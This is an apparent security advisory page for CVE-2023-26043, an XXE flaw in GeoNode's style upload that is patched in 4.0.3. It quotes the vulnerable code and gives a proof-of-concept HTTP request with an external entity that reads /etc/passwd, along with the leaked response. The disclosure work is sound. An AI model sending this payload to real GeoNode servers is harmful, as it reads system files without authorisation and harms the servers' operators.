CVE-2023-26043: XML External Entity (XXE) injection in GeoServer style upload functionality

Published Feb 27, 2023
·
Updated

Summary GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.

Details GeoNode's GeoServer has the ability to upload new styles for datasets through the datasetstyleupload view.

py https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159 @loginrequired def datasetstyleupload(request, layername): def respond(args, kw): kw['contenttype'] = 'text/html' return jsonresponse(args, kw) ... sld = request.FILES['sld'].read() # 1 sldname = None try: # Check SLD is valid ... sldname = extractnamefromsld(gscatalog, sld, sldfile=request.FILES['sld']) # 2 except Exception as e: respond(errors=f"The uploaded SLD file is not valid XML: {e}") name = data.get('name') or sldname setdatasetstyle(layer, data.get('title') or name, sld) return respond( body={ 'success': True, 'style': data.get('title') or name, # 3 'updated': data['update']})

datasetstyleupload gets a user-provided file (1), pass it to extractnamefromsld to extract an element from it (2) and return the former in the response (3).

py https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234 def extractnamefromsld(gscatalog, sld, sldfile=None): try: if sld: if isfile(sld): with open(sld, "rb") as sldfile: sld = sldfile.read() # 1 if isinstance(sld, str): sld = sld.encode('utf-8') dom = etree.XML(sld) # 2 ... nameddataset = dom.findall( "{http://www.opengis.net/sld}NamedLayer") el = None if nameddataset and len(nameddataset) > 0: userstyle = nameddataset[0].findall("{http://www.opengis.net/sld}UserStyle") if userstyle and len(userstyle) > 0: el = userstyle[0].findall("{http://www.opengis.net/sld}Name") # 3 ... return el[0].text # 4

extractnamefromsld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolveentities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.

PoC 1. Create a guest/non-privileged account and log in. 1. Upload a dataset through /catalogue/#/upload/dataset whose name we will be referencing as <DATASETNAME>. 1. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of /etc/passwd:

POST /gs/geonode:<DATASETNAME>/style/upload HTTP/1.1 Host: localhost Cookie: djangolanguage=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE> X-Csrftoken: <CSRF-TOKEN> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo Content-Length: 485 ------WebKitFormBoundaryfoo Content-Disposition: form-data; name="layerid" 1 ------WebKitFormBoundaryfoo Content-Disposition: form-data; name="sld"; filename="foo.sld" Content-Type: application/octet-stream <?xml version="1.0" standalone="yes"?> <!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]> <foo xmlns="http://www.opengis.net/sld"> <NamedLayer> <UserStyle> <Name>&ent;</Name> </UserStyle> </NamedLayer> </foo> ------WebKitFormBoundaryfoo--

Sample response:

HTTP/1.1 200 OK Server: nginx/1.23.2 ... {"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false}

Impact This issue may lead to authenticated Arbitrary File Read.

Other sources

GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.

Affected Software

2 affected componentsFixes available
pip/GeoNode>=0<4.0.3
4.0.3
Geosolutionsgroup Geonode<4.0.3

Event History

Feb 27, 2023
CVE Published
via MITRE·08:37 PM
Data Sourced
via MITRE·08:37 PM
DescriptionSeverityWeakness
Aug 30, 2024
Advisory Published
via GitHub·06:50 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is CVE-2023-26043?

CVE-2023-26043 is an XML External Entity (XXE) injection vulnerability in the style upload functionality of GeoNode, leading to Arbitrary File Read.

2

What is the severity of CVE-2023-26043?

CVE-2023-26043 has a severity value of 6.5, which is classified as medium.

3

How does CVE-2023-26043 affect GeoNode?

CVE-2023-26043 affects GeoNode by exploiting a vulnerability in the style upload functionality of GeoServer, allowing an attacker to read arbitrary files.

4

Is there a patch available for CVE-2023-26043?

Yes, a patch has been released for CVE-2023-26043 in version 4.0.3 of GeoNode.

5

Where can I find more information about CVE-2023-26043?

You can find more information about CVE-2023-26043 in the following references: [GitHub Commit](https://github.com/GeoNode/geonode/commit/2fdfe919f299b21f1609bf898f9dcfde58770ac0), [Security Advisories](https://github.com/GeoNode/geonode/security/advisories/GHSA-mcmc-c59m-pqq8)

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203